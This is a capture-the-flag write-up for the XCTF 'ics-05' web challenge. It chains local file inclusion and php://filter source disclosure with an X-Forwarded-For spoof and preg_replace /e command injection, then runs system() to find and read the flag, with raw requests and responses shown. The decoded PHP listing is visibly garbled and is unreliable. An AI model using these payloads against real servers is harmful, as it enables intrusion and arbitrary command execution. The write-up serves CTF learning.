ics-05
GFSJ0332积分 3金币 3
77最佳Writeup由 darkless 提供
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难度：3
方向：Web
题解数：35
解出人数：6403
题目来源: XCTF
题目描述:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目场景:
100%
倒计时: 3时59分0秒
延时删除场景
[图片上传失败...(image-415508-1694959745253)]
Click 设备维护中心
[图片上传失败...(image-1055b4-1694959745253)]
Test !
[图片上传失败...(image-455dfe-1694959745253)]
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n38" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">http://61.147.171.105:53619/index.php?page=/etc/crontab
/etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
</pre>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n41" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">http://61.147.171.105:53619/index.php?page=/etc/apache2/apache2.conf
This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible. # It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | -- ports.conf # |-- mods-enabled # | |-- *.load # |-- .conf # |-- conf-enabled # | -- *.conf #-- sites-enabled # `-- .conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective -available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration. # Global configuration # # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at ); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2" # # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # Mutex file:
{APACHE_PID_FILE} # # Timeout: The number of seconds before receives and sends time out. # Timeout 300 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100 # # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5 # These need to be set in /etc/apache2/envvars User 
{APACHE_RUN_GROUP} # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be # logged here. If you do define an error logfile for a # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn # Include module configuration: IncludeOptional mods-enabled/.load IncludeOptional mods-enabled/.conf # Include list of ports to listen on Include ports.conf # Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. Options FollowSymLinks AllowOverride None Require all denied AllowOverride None Require all granted Options Indexes FollowSymLinks AllowOverride None Require all granted # # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # Require all denied # # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t "%r" %>s %O "%{Referer}i" "%{User-Agent}i"" vhost_combined LogFormat "%h %l %u %t "%r" %>s %O "%{Referer}i" "%{User-Agent}i"" combined LogFormat "%h %l %u %t "%r" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent # Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. # Include generic snippets of statements IncludeOptional conf-enabled/.conf # Include the virtual host configurations: IncludeOptional sites-</pre>
[图片上传失败...(image-3be4ff-1694959745253)]
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n46" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">http://61.147.171.105:53619/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=
</pre>
base64 decode
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="php+HTML" cid="n51" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;"><?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if (page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
_GET[pat];
_GET[rep];
_GET[sub];
if (isset(replacement) && isset(
pattern,
subject);
}else{
die();
}
}
?>
</body>
</html>
</pre>
According if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
[图片上传失败...(image-2816e0-1694959745252)]
X-Forwarded-For: 127.0.0.1
[图片上传失败...(image-879fa7-1694959745252)]
using this
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n68" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
_GET[pat];
_GET[rep];
_GET[sub];
if (isset(replacement) && isset(
pattern,
subject);
}else{
die();
}</pre>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n76" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed replacement , mixed
limit = -1 [, int &
pattern: 要搜索的模式，可以是字符串或一个字符串数组。
subject: 要搜索替换的目标字符串或字符串数组。
count: 可选，为替换执行的次数。
返回值
如果 subject 是一个数组， preg_replace() 返回一个数组， 其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下 返回没有改变的 subject。如果发生错误，返回 NULL。
实例
将 google 替换为 runoob
<?php
pattern = '/(\w+) (\d+), (\d+)/i';
{2},
pattern,
string);
?>
执行结果如下所示：
runoob 123,456
</pre>
?pat=/abc/e&rep=system("find+-name+-flag")&sub=defg%20abc
?pat=/abc/e&rep=system("ls flag.php")&sub=defg%20abc
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<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n88" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">GET /index.php?pat=/abc/e&rep=system("find+-name+flag")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0
<br >
Welcome My Admin !
<br >
./s3chahahaDir/flag</body>
</html></pre>
[图片上传失败...(image-8dc1b7-1694959745252)]
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n108" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">GET /index.php?pat=/abc/e&rep=system("ls%20s3chahahaDir/flag")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0
Welcome My Admin !
<br >
flag.php</body>
</html></pre>
[图片上传失败...(image-6aafe9-1694959745252)]
[图片上传失败...(image-124e7-1694959745252)]
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" cid="n120" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; margin-top: 0px; margin-bottom: 20px; font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; white-space: normal; background-color: rgb(51, 51, 51); position: relative !important; padding: 10px 10px 10px 30px; width: inherit; caret-color: rgb(184, 191, 198); color: rgb(184, 191, 198); font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;">GET /index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0
<br >
Welcome My Admin !
<br >
<?php
$flag = 'cyberpeace{ef3436ab1ca09b41dce58d2cd1aabaa5}';
?>
</body>
</html></pre>
Ref:
